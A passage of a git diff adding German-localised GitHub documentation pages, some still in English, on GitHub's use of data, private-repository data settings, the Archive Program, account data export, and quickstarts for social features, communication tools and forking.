+{% data reusables.repositories.about-github-archive-program %} Weitere Informationen findest du unter [Informationen zum Archivieren von Inhalten und Daten auf {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program).
+
+{% data reusables.user-settings.export-data %} Weitere Informationen findest du unter [Archiv der Daten deines persönlichen Kontos anfordern](/articles/requesting-an-archive-of-your-personal-account-s-data).
+
+Im [{% data variables.product.prodname_dotcom %}-Blog](https://github.com/blog) kündigen wir wesentliche neue Features an, die Metadaten oder aggregierte Daten nutzen.
+
+## Wie Daten die Sicherheitsempfehlungen verbessern
+
+Durch die Nutzung deiner Daten können wir beispielsweise eine Sicherheitsschwachstelle in den Abhängigkeiten deines öffentlichen Repositorys erkennen und dich darüber informieren. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies).
+
+Um potenzielle Sicherheitsrisiken zu erkennen, prüft {% data variables.product.product_name %} den Inhalt deiner Abhängigkeitsmanifestdatei, um eine Liste der Abhängigkeiten deines Projekts zu erstellen.
+
+{% data variables.product.product_name %} erfährt auch von Änderungen, die du an deinem Abhängigkeitsmanifest vornimmst. Wenn du beispielsweise eine angreifbare Abhängigkeit nach Erhalt einer Sicherheitsmeldung auf eine sichere Version aktualisierst und andere dasselbe tun, erkennt {% data variables.product.product_name %}, wie man die Schwachstelle patcht, und kann den betroffenen Repositorys einen ähnlichen Patch empfehlen.
+
+## Datenschutz und Datenfreigabe
+
+Daten aus privaten Repositorys werden maschinell erfasst und nie von {% data variables.product.product_name %}-Mitarbeitern gelesen. Die Inhalte deiner privaten Repositorys sind für niemanden zugänglich, außer wie in unseren [Vertragsbedingungen](/free-pro-team@latest/github/site-policy/github-terms-of-service#3-access) beschrieben.
+
+Deine personenbezogenen Daten oder Repositorydaten werden nicht an Dritte weitergegeben. Unter Umständen geben wir aggregierte Daten, die wir aus unserer Analyse gewonnen haben, an unsere Partner weiter.
diff --git a/translations/de-DE/content/get-started/privacy-on-github/index.md b/translations/de-DE/content/get-started/privacy-on-github/index.md
new file mode 100644
index 0000000000..5d7716ac18
--- /dev/null
+++ b/translations/de-DE/content/get-started/privacy-on-github/index.md
@@ -0,0 +1,22 @@
+---
+title: Datenschutz bei GitHub
+redirect_from:
+  - /categories/understanding-how-github-uses-and-protects-your-data
+  - /github/understanding-how-github-uses-and-protects-your-data
+versions:
+  fpt: '*'
+  ghec: '*'
+children:
+  - /about-githubs-use-of-your-data
+  - /requesting-an-archive-of-your-personal-accounts-data
+  - /managing-data-use-settings-for-your-private-repository
+  - /opting-into-or-out-of-the-github-archive-program-for-your-public-repository
+shortTitle: Privacy on GitHub
+ms.openlocfilehash: e241add411d0da71308db998698a1be0e84d8d31
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145131149'
+---
+
diff --git a/translations/de-DE/content/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository.md b/translations/de-DE/content/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository.md
new file mode 100644
index 0000000000..3b257f4052
--- /dev/null
+++ b/translations/de-DE/content/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository.md
@@ -0,0 +1,49 @@
+---
+title: Managing data use settings for your private repository
+intro: 'To help {% data variables.product.product_name %} connect you to relevant tools, people, projects, and information, you can configure data use for your private repository.'
+redirect_from:
+  - /articles/opting-into-or-out-of-data-use-for-your-private-repository
+  - /github/understanding-how-github-uses-and-protects-your-data/opting-into-or-out-of-data-use-for-your-private-repository
+  - /github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Policy
+  - Legal
+shortTitle: Manage data use for private repo
+---
+
+## About data use for your private repository
+
+
+You can control data use for your private repository with the security and analysis features. 
+
+- Enable the dependency graph to allow read-only data analysis on your repository. 
+- Disable the dependency graph to block read-only data analysis of your repository. 
+
+When you enable data use for your private repository, you'll be able to access the dependency graph, where you can track your repository's dependencies and receive {% data variables.product.prodname_dependabot_alerts %} when {% data variables.product.product_name %} detects vulnerable dependencies. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)."
+
+
+{% note %}
+
+**Note:** If you disable the dependency graph, {% data variables.product.prodname_dependabot_alerts %} and {% data variables.product.prodname_dependabot_security_updates %} are also disabled. For more information, see "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)." 
+
+{% endnote %}
+
+## Enabling or disabling data use through security and analysis features
+
+{% data reusables.security.security-and-analysis-features-enable-read-only %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.navigate-to-code-security-and-analysis %}
+4. Under "Code security and analysis", to the right of the feature, click **Disable** or **Enable**.{% ifversion fpt %}
+  !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-fpt-private.png){% elsif ghec %}
+  !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghec-private.png){% endif %}
+
+## Further reading
+
+- "[About {% data variables.product.prodname_dotcom %}'s use of your data](/articles/about-github-s-use-of-your-data)"
+- "[Viewing and updating {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts)"
+- "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)"
diff --git a/translations/de-DE/content/get-started/privacy-on-github/opting-into-or-out-of-the-github-archive-program-for-your-public-repository.md b/translations/de-DE/content/get-started/privacy-on-github/opting-into-or-out-of-the-github-archive-program-for-your-public-repository.md
new file mode 100644
index 0000000000..bbf2bd87d6
--- /dev/null
+++ b/translations/de-DE/content/get-started/privacy-on-github/opting-into-or-out-of-the-github-archive-program-for-your-public-repository.md
@@ -0,0 +1,30 @@
+---
+title: Abonnieren oder Beenden des GitHub Archive-Programms für dein öffentliches Repository
+intro: 'Du kannst bestimmen, ob {% data variables.product.prodname_dotcom %} dein öffentliches Repository im {% data variables.product.prodname_archive %} enthalten soll, um die dauerhafte Erhaltung der Open-Source-Software der Welt sicherzustellen.'
+permissions: 'People with admin permissions to a public repository can opt into or out of the {% data variables.product.prodname_archive %}.'
+redirect_from:
+  - /github/understanding-how-github-uses-and-protects-your-data/opting-into-or-out-of-the-github-archive-program-for-your-public-repository
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Policy
+  - Legal
+shortTitle: GitHub Archive program
+ms.openlocfilehash: 99c11ad07a88161f73b71cb0d7268f94afa8bc5e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145131141'
+---
+{% data reusables.repositories.about-github-archive-program %} Weitere Informationen findest du unter [Informationen zum Archivieren von Inhalten und Daten auf {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program).
+
+Wenn du das {% data variables.product.prodname_archive %} für ein Repository beendest, wird das Repository von allen langfristigen Archiven ausgeschlossen, die zukünftig auf {% data variables.product.prodname_dotcom %} erstellt werden können. Außerdem senden wir an alle unsere Partnerorganisationen eine Aufforderung, das Repository aus ihren Daten zu entfernen.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %}
+3. Aktiviere oder deaktiviere unter „Features“ die Option **Preserve this repository**.
+    ![Kontrollkästchen, über das {% data variables.product.prodname_dotcom %} die Erlaubnis erhält, deinen Code in das {% data variables.product.prodname_archive %} aufzunehmen](/assets/images/help/repository/github-archive-program-checkbox.png)
+
+## Weitere Informationsquellen
+- [Häufig gestellte Fragen zu {% data variables.product.prodname_archive %}](https://archiveprogram.github.com/faq/)
diff --git a/translations/de-DE/content/get-started/privacy-on-github/requesting-an-archive-of-your-personal-accounts-data.md b/translations/de-DE/content/get-started/privacy-on-github/requesting-an-archive-of-your-personal-accounts-data.md
new file mode 100644
index 0000000000..582e74e839
--- /dev/null
+++ b/translations/de-DE/content/get-started/privacy-on-github/requesting-an-archive-of-your-personal-accounts-data.md
@@ -0,0 +1,45 @@
+---
+title: Requesting an archive of your personal account’s data
+redirect_from:
+  - /articles/requesting-an-archive-of-your-personal-account-s-data
+  - /articles/requesting-an-archive-of-your-personal-accounts-data
+  - /github/understanding-how-github-uses-and-protects-your-data/requesting-an-archive-of-your-personal-accounts-data
+intro: '{% data reusables.user-settings.export-data %}'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Policy
+  - Legal
+shortTitle: Request account archive
+---
+
+{% data variables.product.product_name %} stores repository and profile metadata from your personal account's activity. You can export your personal account's data through settings on {% data variables.product.prodname_dotcom_the_website %} or with the User Migration API.
+
+For more information about the data {% data variables.product.product_name %} stores that is available for exporting, see "[Download a user migration archive](/rest/reference/migrations#download-a-user-migration-archive)" and "[About {% data variables.product.product_name %}'s use of your data](/articles/about-github-s-use-of-your-data).
+
+When you request an export of your personal data through settings on {% data variables.product.prodname_dotcom_the_website %}, {% data variables.product.product_name %} packages your personal data in a `tar.gz` file and sends you an email to your primary email address with a download link.
+
+By default, the download link expires after seven days. At any time before the download link expires, you can disable the link from your user settings. For more information, see "[Deleting access to an archive of your personal account's data](/articles/requesting-an-archive-of-your-personal-account-s-data/#deleting-access-to-an-archive-of-your-personal-accounts-data)."
+
+If your operating system cannot natively unpack the `tar.gz` file, you can use a third-party tool to extract the archived files. For more information, see "[How to unzip a tar.gz file](https://opensource.com/article/17/7/how-unzip-targz-file)" on Opensource.com.
+
+The generated `tar.gz` file reflects the data stored at the time you started the data export.
+
+## Downloading an archive of your personal account's data
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.account_settings %}
+3. Under "Export account data", click **Start export** or **New export**.
+![Start personal data export button highlighted](/assets/images/help/repository/export-personal-data.png)
+![New personal data export button highlighted](/assets/images/help/repository/new-export.png)
+4. Once the export is ready to download, {% data variables.product.product_name %} will send you a download link to your primary email address.
+5. Click the download link in your email and re-enter your password if prompted.
+6. You'll be redirected to a `tar.gz` file that you can download.
+
+## Deleting access to an archive of your personal account's data
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.account_settings %}
+3. To disable the download link sent to your email before it expires, under "Export account data", find the data export download you want to disable and click **Delete**.
+![Delete personal data export package button highlighted](/assets/images/help/repository/delete-export-personal-account-data.png)
diff --git a/translations/de-DE/content/get-started/quickstart/be-social.md b/translations/de-DE/content/get-started/quickstart/be-social.md
new file mode 100644
index 0000000000..b7db094657
--- /dev/null
+++ b/translations/de-DE/content/get-started/quickstart/be-social.md
@@ -0,0 +1,101 @@
+---
+title: Soziale Interaktion
+redirect_from:
+  - /be-social
+  - /articles/be-social
+  - /github/getting-started-with-github/be-social
+  - /github/getting-started-with-github/quickstart/be-social
+intro: 'Du kannst mit Personen, Repositorys und Organisationen auf {% data variables.product.prodname_dotcom %} interagieren. Auf deinem persönlichen Dashboard kannst du sehen, woran andere gerade arbeiten und mit wem sie sich vernetzen.'
+permissions: '{% data reusables.enterprise-accounts.emu-permission-interact %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Profile
+  - Pull requests
+  - Issues
+  - Notifications
+  - Accounts
+ms.openlocfilehash: 8f57382a4eba028e9c83dda0c5780c240dc3860c
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147692113'
+---
+Informationen zum Zugriff auf dein persönliches Dashboard findest du unter „[Informationen zum persönlichen Dashboard](/articles/about-your-personal-dashboard)“.
+
+## Jemandem folgen
+
+Wenn du jemandem auf {% data variables.product.prodname_dotcom %} folgst, wirst du in deinem persönlichen Dashboard über die öffentlichen Aktivitäten benachrichtigt. Wenn jemand, dem du folgst, ein neues Repository erstellt, ein Repository mit einem Stern versieht oder einem anderen Benutzer folgt, wird die Aktivität in deinem Dashboard angezeigt. 
+
+Klicke auf der Profilseite einer Person auf **Follow**, um ihr zu folgen.
+
+![Schaltfläche „Follow User" (Benutzer folgen)](/assets/images/help/profile/follow-user-button.png)
+
+Weitere Informationen findest unter „[Jemandem folgen](/get-started/exploring-projects-on-github/following-people)“.
+
+## Ein Repository beobachten
+
+Du kannst ein Repository abonnieren, um es zu beobachten und dich benachrichtigen zu lassen, wenn Aktivitäten darin stattfinden. Wenn der Besitzer das Repository aktualisiert, siehst du die Änderungen in deinem persönlichen Dashboard. Weitere Informationen findest du unter „[Anzeigen deiner Abonnements](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions)“.
+
+Klicke oben in einem Repository auf „**Watch**“, um es zu überwachen.
+
+![Schaltfläche „Watch repository" (Beobachten eines Repositorys)](/assets/images/help/repository/repo-actions-watch.png)
+
+## An Unterhaltungen teilnehmen
+
+{% data reusables.support.ask-and-answer-forum %}
+
+## Kommunizieren mithilfe von {% data variables.product.product_name %}
+
+{% data variables.product.product_name %} bietet integrierte Kommunikationstools für die Zusammenarbeit, sodass du bei der Entwicklung großartiger Software eng mit deiner Community zusammenarbeiten kannst. Beispielsweise kannst du zum Projekt eines anderen Benutzers beitragen, indem du einen Pull Request erstellst, Fehler mithilfe von Issues verfolgst oder Ideen in einem Repository vorschlägst. Du kannst auch neue Ideen mit deinem Team diskutieren und brainstormen. 
+
+Eine Übersicht über diese Tools findest du unter „[Schnellstart für die Kommunikation mit {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/quickstart-for-communicating-on-github)“.
+
+## An Organisationen teilnehmen
+
+Organisationen sind gemeinsam genutzte Konten, mit denen Unternehmen und Open-Source-Projekte an vielen Projekten gleichzeitig zusammenarbeiten können. Inhaber und Administratoren können Teams mit besonderen Berechtigungen einrichten, ein öffentliches Organisationsprofil erstellen und die Aktivitäten innerhalb der Organisation nachverfolgen. Weitere Informationen findest du unter [Informationen zu Organisationen](/articles/about-organizations/).
+
+Klicke auf der linken Seite deines Dashboards auf das Dropdownmenü mit deinem Benutzernamen. Hier kannst du Organisationen anzeigen, denen du angehörst, und einfach dazwischen wechseln.
+
+![Dropdownmenü „Switch account context" (Wechseln des Konto-Kontexts)](/assets/images/help/overview/dashboard-contextswitcher.png)
+
+{% ifversion for-you-feed %}
+
+## Folgen von Organisationen
+
+{% data reusables.organizations.follow-organizations-beta %}
+
+{% data reusables.organizations.about-following-organizations %}
+
+Um einer Organisation zu folgen, klickst du in der Kopfzeile der Organisationsseite auf **Folgen**.
+
+![Screenshot der Organisationskopfzeile mit hervorgehobener Schaltfläche „Folgen“](/assets/images/help/profile/organization-profile-following.png)
+
+Weitere Informationen findest unter [Folgen von Organisationen](/get-started/exploring-projects-on-github/following-organizations).
+
+{% endif %}
+
+## Andere Projekte auf {% data variables.product.prodname_dotcom %} entdecken
+
+Auf der Seite „Explore“ von {% data variables.product.prodname_dotcom %} kannst du neue und interessante Projekte entdecken. Du kannst interessante Projekte mit einem Stern versehen, um sie später wiederzufinden. Auf deiner Seite „Stars“ findest du alle mit einem Stern gekennzeichneten Projekte. Weitere Informationen zu Sternen findest du unter „[Speichern von Repositorys mit Sternen](/get-started/exploring-projects-on-github/saving-repositories-with-stars)“.
+
+Im Dashboardfeed werden Projekte basierend auf deinen Interessen angezeigt, einschließlich Repositorys, die du mit einem Stern versehen hast, Personen, denen du folgst, und deiner Beiträge zu öffentlichen Repositorys. Im Dashboard kannst du beliebte Projekte einsehen, Themen anzeigen und Sammlungen auschecken. 
+
+Weitere Projekte findest du unter „{% data variables.explore.explore_github %}“.
+
+## Nächste Schritte
+Du bist jetzt mit der {% data variables.product.product_name %}-Community verbunden. Du kannst auch auf andere Weise innerhalb von {% data variables.product.product_name %} interagieren und entwickeln.
+
+* {% data reusables.getting-started.set-up-git %}
+
+* {% data reusables.getting-started.create-a-repository %}
+
+* {% data reusables.getting-started.fork-a-repository %}
+
+* {% data reusables.getting-started.contributing-to-projects  %}
+
+* {% data reusables.support.connect-in-the-forum-bootcamp %}
diff --git a/translations/de-DE/content/get-started/quickstart/communicating-on-github.md b/translations/de-DE/content/get-started/quickstart/communicating-on-github.md
new file mode 100644
index 0000000000..0b3e193120
--- /dev/null
+++ b/translations/de-DE/content/get-started/quickstart/communicating-on-github.md
@@ -0,0 +1,156 @@
+---
+title: Kommunikation in GitHub
+intro: 'Du kannst bestimmte Projekte und Änderungen sowie umfassendere Ideen oder Teamziele mithilfe verschiedener Arten von Diskussionen auf {% data variables.product.product_name %} besprechen.'
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/getting-started/quickstart-for-communicating-on-github
+  - /articles/about-discussions-in-issues-and-pull-requests
+  - /github/collaborating-with-issues-and-pull-requests/about-conversations-on-github
+  - /github/collaborating-with-issues-and-pull-requests/quickstart-for-communicating-on-github
+  - /github/getting-started-with-github/quickstart/communicating-on-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+  - Issues
+  - Discussions
+  - Fundamentals
+ms.openlocfilehash: 18321069abd4fb48956f4d61653b8bbe592c648b
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106789'
+---
+## Einführung
+
+{% data variables.product.product_name %} bietet integrierte Kommunikationstools für die Zusammenarbeit, sodass du eng mit der Community zusammenarbeiten kannst. In diesem Schnellstart erfährst du, wie du das richtige Tool für deine Anforderungen auswählst.
+
+{% ifversion discussions %} Je nachdem, welche Art von Unterhaltung du führen möchtest, kannst du Issues, Pull Requests, {% data variables.product.prodname_discussions %} und Teamdiskussionen erstellen und daran teilnehmen.
+{% else %} Je nachdem, welche Art von Unterhaltung du führen möchtest, kannst du Issues, Pull Requests und Teamdiskussionen erstellen und daran teilnehmen.
+{% endif %}
+
+### {% data variables.product.prodname_github_issues %}
+- sind nützlich bei der Diskussion spezifischer Details eines Projekts, zum Beispiel Fehlerberichte, geplante Verbesserungen und Feedback 
+- sind spezifisch für ein Repository, und ihnen ist in der Regel ein eindeutiger Besitzer zugeordnet 
+- werden oft als das Bug-Nachverfolgungssystem für {% data variables.product.prodname_dotcom %} bezeichnet
+  
+### Pull Requests
+- ermöglichen es dir, bestimmte Änderungen vorzuschlagen
+- ermöglichen es dir, von anderen vorgeschlagene Änderungen direkt zu kommentieren 
+- sind spezifisch für ein Repository 
+ 
+{% ifversion fpt or ghec %}
+### {% data variables.product.prodname_discussions %}
+-  sind wie ein Forum und eignen sich am besten für offene Ideen und Diskussionen, bei denen die Zusammenarbeit wichtig ist 
+-  können mehrere Repositorys betreffen 
+-  bieten eine Funktion für die Zusammenarbeit jenseits der Codebasis, die das Brainstorming von Ideen und den Aufbau einer Community-Wissensdatenbank ermöglicht
+-  ist häufig kein klarer Besitzer zugeordnet
+-  führen häufig nicht zu einer umsetzbaren Aufgabe
+{% endif %}
+
+### Diskussionen im Team
+- können auf der Seite deines Teams für projektübergreifende Unterhaltungen gestartet werden, die nicht zu einem bestimmten Issue oder Pull Request gehören. Anstatt einen Issue in einem Repository zu öffnen, um eine Idee zu diskutieren, kannst du das gesamte Team einbeziehen, indem du eine Unterhaltung in einer Teamdiskussion führst.
+- ermöglichen es dir, zentral Diskussionen mit deinem Team über Planung, Analyse, Design, Benutzerforschung und allgemeine Projektentscheidungen zu führen.{% ifversion ghes or ghae %} 
+- bieten eine Funktion für die Zusammenarbeit jenseits der Codebasis, die das Brainstorming von Ideen
+- ist häufig kein klarer Besitzer zugeordnet
+- führen häufig nicht zu einer umsetzbaren Aufgabe{% endif %}
+
+## Welches Diskussionstool sollte ich verwenden?
+
+### Szenarien für Issues
+
+- Ich möchte Aufgaben, Verbesserungen und Fehler nachverfolgen.
+- Ich möchte einen Fehlerbericht erstellen.
+- Ich möchte Feedback zu einem bestimmten Feature teilen.
+- Ich möchte eine Frage zu Dateien im Repository stellen.
+
+#### Beispiel für ein Issue
+
+Dieses Beispiel zeigt, wie ein {% data variables.product.prodname_dotcom %}-Benutzer ein Problem in unserem Open-Source-Repository für die Dokumentation erstellt hat, um uns auf einen Fehler aufmerksam zu machen und eine Lösung zu diskutieren. 
+
+![Beispiel für ein Issue](/assets/images/help/issues/issue-example.png)
+
+- Einem Benutzer ist aufgefallen, dass die blaue Farbe des Banners am oberen Rand der Seite in der chinesischen Version der {% data variables.product.prodname_dotcom %}-Dokumentation den Text im Banner unleserlich macht. 
+- Der Benutzer hat ein Issue im Repository erstellt, in dem das Problem beschrieben und ein Fix vorgeschlagen wird (Verwendung einer anderen Hintergrundfarbe für das Banner).
+- Es folgt eine Diskussion, und schließlich wird gemeinsam entschieden, welche Korrekturmaßnahmen angewendet werden sollen.
+- Anschließend kann ein Mitwirkender einen Pull Request mit dem Fix erstellen.
+
+### Szenarien für Pull Requests
+
+- Ich möchte einen Tippfehler in einem Repository korrigieren.
+- Ich möchte Änderungen an einem Repository vornehmen.
+- Ich möchte Änderungen zum Beheben eines Problems vornehmen.
+- Ich möchte von anderen Benutzern vorgeschlagene Änderungen kommentieren.
+
+#### Pull Request-Beispiel
+
+Dieses Beispiel zeigt, wie ein {% data variables.product.prodname_dotcom %}-Benutzer einen Pull Request in unserem Open-Source-Repository für die Dokumentation erstellt hat, um einen Tippfehler zu korrigieren. 
+
+Auf der Registerkarte **Unterhaltung** des Pull Requests erläutert der Autor, warum er den Pull Request erstellt hat.
+
+![Pull Request-Beispiel – Registerkarte „Unterhaltung“](/assets/images/help/pull_requests/pr-conversation-example.png)
+
+Die Registerkarte **Geänderte Dateien** für den Pull Request zeigen den implementierten Fix.
+
+![Pull Request-Beispiel – Registerkarte „Geänderte Dateien“](/assets/images/help/pull_requests/pr-files-changed-example.png)
+
+- Dieser Mitwirkende bemerkt einen Tippfehler im Repository.
+- Der Benutzer erstellt einen Pull Request mit dem Fix.
+- Ein Repositoryverantwortlicher prüft den Pull Request, kommentiert ihn und mergt ihn.
+
+{% ifversion discussions %}
+### Szenarien für {% data variables.product.prodname_discussions %}
+
+- Ich habe eine Frage, die sich nicht unbedingt auf bestimmte Dateien im Repository bezieht.
+- Ich möchte Neuigkeiten mit meinen Mitstreitern oder meinem Team austauschen.
+- Ich möchte eine ergebnisoffene Unterhaltung beginnen oder daran teilnehmen.
+- Ich möchte eine Ankündigung an meine Community richten.
+
+#### {% data variables.product.prodname_discussions %}-Beispiel
+
+Dieses Beispiel zeigt die {% data variables.product.prodname_discussions %}-Willkommensmeldung für das Open-Source-Repository der {% data variables.product.prodname_dotcom %}-Dokumentation und veranschaulicht, wie das Team mit seiner Community zusammenarbeiten möchte.
+
+![{% data variables.product.prodname_discussions %}-Beispiel](/assets/images/help/discussions/github-discussions-example.png)
+
+Dieser Communityverantwortliche hat eine Diskussion gestartet, um die Community zu begrüßen und die Mitglieder zu bitten, sich vorzustellen. Dieser Beitrag fördert eine einladende Atmosphäre für Besucher und Mitwirkende. Außerdem wird betont, dass das Team gerne bei Beiträgen zum Repository behilflich ist.
+
+{% endif %}
+### Szenarien für Teamdiskussionen
+
+- Ich habe eine Frage, die sich nicht unbedingt auf bestimmte Dateien im Repository bezieht.
+- Ich möchte Neuigkeiten mit meinen Mitstreitern oder meinem Team austauschen.
+- Ich möchte eine ergebnisoffene Unterhaltung beginnen oder daran teilnehmen.
+- Ich möchte eine Ankündigung an mein Team richten.
+
+{% ifversion fpt or ghec %} Wie du siehst, ähneln Teamdiskussionen und {% data variables.product.prodname_discussions %} einander sehr. Für {% data variables.product.prodname_dotcom_the_website %} empfehlen wir, {% data variables.product.prodname_discussions %} als Ausgangspunkt für Unterhaltungen zu verwenden. Du kannst {% data variables.product.prodname_discussions %} verwenden, um mit jeder Community auf {% data variables.product.prodname_dotcom %} zusammenzuarbeiten. Wenn du Teil einer Organisation bist und Unterhaltungen innerhalb deiner Organisation oder deines Teams anstoßen möchtest, solltest du Teamdiskussionen nutzen.
+{% endif %}
+
+#### Beispiel für eine Teamdiskussion
+
+Dieses Beispiel zeigt einen Teambeitrag für das Team `octo-team`.
+
+![Beispiel für eine Teamdiskussion](/assets/images/help/projects/team-discussions-example.png)
+
+Das `octocat`-Mitglied hat eine Teamdiskussion gestartet und das Team über verschiedene Dinge informiert:
+- Ein Teammitglied namens Mona hat damit begonnen, Termine für Remotegames hinzuzufügen.
+- Es gibt einen Blogbeitrag, der beschreibt, wie die Teams {% data variables.product.prodname_actions %} verwenden, um ihre Dokumentation zu erstellen.
+- Das Material zum All-Hands-Treffen im April ist jetzt für alle Teammitglieder zugänglich.
+
+## Nächste Schritte
+
+Diese Beispiele haben dir gezeigt, wie du entscheiden kannst, welches das beste Tool für deine Unterhaltungen über {% data variables.product.product_name %} ist. Aber das ist nur der Anfang. Es gibt viele weitere Möglichkeiten, wie du diese Tools an deine Bedürfnisse anpassen kannst.
+
+Issues kannst du zum Beispiel für eine schnellere Suche mit Bezeichnungen versehen, und du kannst Vorlagen für Issues erstellen, mit denen Mitwirkende aussagekräftige Issues öffnen können. Weitere Informationen findest du unter [Informationen zu Issues](/github/managing-your-work-on-github/about-issues#working-with-issues) und [Informationen zu Vorlagen für Issues und Pull Requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates).
+
+Für Pull Requests kannst du Entwürfe erstellen, wenn deine Änderungsvorschläge noch in Arbeit sind. Pull Request-Entwürfe können erst gemergt werden, wenn sie als bereit zum Review markiert sind. Weitere Informationen findest du unter [Informationen zu Pull Requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests).
+
+{% ifversion discussions %} Bei {% data variables.product.prodname_discussions %} kannst du{% ifversion fpt or ghec %} Verhaltensregeln festlegen und{% endif %} Diskussionen anheften, die wichtige Informationen für deine Community enthalten. Weitere Informationen findest du unter [Informationen zu Diskussionen](/discussions/collaborating-with-your-community-using-discussions/about-discussions).
+{% endif %}
+
+Für Teamdiskussionen kannst du Diskussionen auf der Seite eines Teams bearbeiten oder löschen, und du kannst Benachrichtigungen für Teamdiskussionen konfigurieren. Weitere Informationen findest du unter [Informationen zu Teamdiskussionen](/organizations/collaborating-with-your-team/about-team-discussions).
+
+Informationen zu einigen erweiterten Formatierungsfeatures, die dir helfen, zu kommunizieren, findest du unter [Schnellstart zum Schreiben auf {% data variables.product.prodname_dotcom %}"](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github).
diff --git a/translations/de-DE/content/get-started/quickstart/contributing-to-projects.md b/translations/de-DE/content/get-started/quickstart/contributing-to-projects.md
new file mode 100644
index 0000000000..a725011596
--- /dev/null
+++ b/translations/de-DE/content/get-started/quickstart/contributing-to-projects.md
@@ -0,0 +1,200 @@
+---
+title: Contributing to projects
+intro: Learn how to contribute to a project through forking.
+permissions: '{% data reusables.enterprise-accounts.emu-permission-fork %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+  - Forks
+  - GitHub
+  - Open Source
+---
+
+## About forking
+
+After using GitHub by yourself for a while, you may find yourself wanting to contribute to someone else’s project. Or maybe you’d like to use someone’s project as the starting point for your own. This process is known as forking.
+
+Creating a "fork" is producing a personal copy of someone else's project. Forks act as a sort of bridge between the original repository and your personal copy. You can submit pull requests to help make other people's projects better by offering your changes up to the original project. Forking is at the core of social coding at GitHub. For more information, see "[Fork a repo](/get-started/quickstart/fork-a-repo)."
+
+## Forking a repository
+
+This tutorial uses [the Spoon-Knife project](https://github.com/octocat/Spoon-Knife), a test repository that's hosted on {% data variables.product.prodname_dotcom_the_website %} that lets you test the fork and pull request workflow.
+
+1. Navigate to the `Spoon-Knife` project at https://github.com/octocat/Spoon-Knife.
+2. Click **Fork**.
+   ![Fork button](/assets/images/help/repository/fork_button.png){% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.5 %}
+3. Select an owner for the forked repository.
+   ![Create a new fork page with owner dropdown emphasized](/assets/images/help/repository/fork-choose-owner.png)
+4. By default, forks are named the same as their parent repositories. You can change the name of the fork to distinguish it further.
+   ![Create a new fork page with repository name field emphasized](/assets/images/help/repository/fork-choose-repo-name.png)
+5. Optionally, add a description of your fork.
+   ![Create a new fork page with description field emphasized](/assets/images/help/repository/fork-description.png)
+6. Choose whether to copy only the default branch or all branches to the new fork. For many forking scenarios, such as contributing to open-source projects, you only need to copy the default branch. By default, only the default branch is copied.
+   ![Option to copy only the default branch](/assets/images/help/repository/copy-default-branch-only.png)
+7. Click **Create fork**.
+   ![Emphasized create fork button](/assets/images/help/repository/fork-create-button.png)
+
+{% note %}
+
+**Note:** If you want to copy additional branches from the parent repository, you can do so from the **Branches** page. For more information, see "[Creating and deleting branches within your repository](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository)."
+
+{% endnote %}
+{% endif %}
+
+## Cloning a fork
+
+You've successfully forked the Spoon-Knife repository, but so far, it only exists on {% data variables.product.product_name %}. To be able to work on the project, you will need to clone it to your computer.
+
+You can clone your fork with the command line, {% data variables.product.prodname_cli %}, or {% data variables.product.prodname_desktop %}.
+
